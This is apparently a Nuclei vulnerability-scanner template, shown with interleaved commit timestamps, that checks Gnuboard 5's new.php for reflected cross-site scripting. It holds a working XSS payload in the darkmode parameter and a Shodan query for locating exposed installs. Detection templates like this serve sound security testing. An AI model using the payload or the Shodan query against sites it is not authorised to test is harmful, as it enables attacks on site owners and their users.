2022-08-23 18:51:46 +00:00
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id: gnuboard5-xss
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info:
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2022-09-21 21:42:27 +00:00
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name: Gnuboard 5 - Cross-Site Scripting
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2022-08-23 18:51:46 +00:00
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author: arafatansari
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severity: medium
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description: |
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2022-09-21 21:42:27 +00:00
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Gnuboard 5 contains a cross-site scripting vulnerability via the clean_xss_tags() function called in new.php.
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2022-08-23 18:51:46 +00:00
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reference:
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- https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/
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2022-09-21 21:42:27 +00:00
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
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cvss-score: 7.2
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cwe-id: CWE-79
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2022-08-23 18:51:46 +00:00
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metadata:
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2022-08-24 06:53:48 +00:00
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verified: true
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2022-08-23 18:51:46 +00:00
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shodan-query: http.html:"gnuboard5"
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2022-08-27 04:41:18 +00:00
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tags: xss,gnuboard,gnuboard5,huntr
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2022-08-23 18:51:46 +00:00
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requests:
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2022-08-24 06:53:48 +00:00
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- method: GET
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path:
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- "{{BaseURL}}/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
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2022-08-23 18:51:46 +00:00
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matchers-condition: and
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matchers:
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2022-08-24 06:53:48 +00:00
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- type: word
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words:
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- 'header\"><script>alert(document.domain)</script>.css?'
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2022-08-23 18:51:46 +00:00
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- type: word
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2022-08-24 06:53:48 +00:00
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part: header
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2022-08-23 18:51:46 +00:00
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words:
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2022-08-24 06:53:48 +00:00
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- text/html
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- type: status
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status:
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- 200
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2022-09-21 21:42:27 +00:00
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# Enhanced by md on 2022/09/19
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